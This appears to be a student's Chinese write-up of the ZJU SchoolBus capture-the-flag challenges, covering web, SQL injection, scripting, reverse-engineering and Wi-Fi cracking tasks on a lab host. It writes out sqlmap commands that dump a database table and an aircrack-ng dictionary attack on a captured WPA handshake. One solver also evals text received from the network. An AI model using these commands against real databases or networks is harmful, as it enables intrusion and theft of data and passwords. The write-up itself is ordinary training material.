ZJU SchoolBus Writeup
Web
EasyWeb
第一关(.bak)
查看.bak文件
http://10.214.160.13:10000/1.php.bak
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-Language" content="zh-CN" />
</head>
<body>
<div align="center">
<h1>欢迎来到第一关</h1>
</div>
<!-- 删除1.php.bak -->
<a href="the2nd.php">进入第二关</a>
</body>
</html>
第二关(XSS)
跨脚本漏洞XSS
目前使用chrome破解失败了
好像firefox直接禁掉弹窗可以绕过去
第三关(消息头)
网络\(\to\) disiguan.php\(\to\) Headers\(\to\) Response Headers(wozaizheli.php)
第四关
删掉选中行的display得到flag
SQLinjection
在后台数据库中找一个名叫flag_is_here的表里的flag
SQLMAP的使用
思路:获取数据库名称,得知所需要的表名,获取列名,获取指定列名字段
python3 sqlmap.py -u http://10.214.160.13:10002/?questionid=0
python3 sqlmap.py -u http://10.214.160.13:10002/?questionid=0 --dbs
python3 sqlmap.py -u http://10.214.160.13:10002/?questionid=0 -D aaa_web2 --tables
python3 sqlmap.py -u http://10.214.160.13:10002/?questionid=0 -D aaa_web2 -T flag_is_here --column
sqlmap.py -u http://10.214.160.13:10002/?questionid=0 -D aaa_web2 -T flag_is_here -C "flag" --dump
PPC
calculator
Description
编程是最重要的技能,没有之一 我就不信你的手速足够快hhh nc 10.214.160.13 11002 nc是Linux自带的工具,用于与服务器建立socket连接
Solution
注意bytes类和string类的区别与相互转换
from pwn import *
p=remote('10.214.160.13',11002)
p.recvlines(7)
for i in range(10):
s=p.recvuntil('=')
s=bytes.decode(s)
if i == 0:
s=s[:-2]
else:
s=s[15:-2]
sum=eval(s)
print(s)
print(sum)
sum = str.encode(str(sum))
p.sendline(sum)
s=p.recvlines(4)
print(s)
WUD1T1
大概就是根据题面给出的信息确定身份证的某几位,其他的暴力枚举
md5加密
import hashlib
def get_md5(s):
md = hashlib.md5()
md.update(s.encode('utf-8'))
return md.hexdigest()
Reverse
Reverse1
一道简单的逆向题
flag加密存于内存区内,与Ch异或后取出值
using namespace std;
void int2str(const int &int_temp,string &string_temp)
{
char s;
s = (char)int_temp;
string_temp=s;
}
int main(){
int x;
string s="";
while(1){
scanf("%x",&x);
x^=12;
printf("%d %c\n",x, (char)x);
string c;
int2str(x,c);
s+=c;
cout<<s<<endl;
}
}
MISC
WUD1T2
aircrack-ng撞库
题目已给出握手包,直接用现有的字典库破解就行
aircrack-ng -w password.txt crack_zju-01.cap
vim .swp文件复原
vim -r 复原文件名(不带.swp)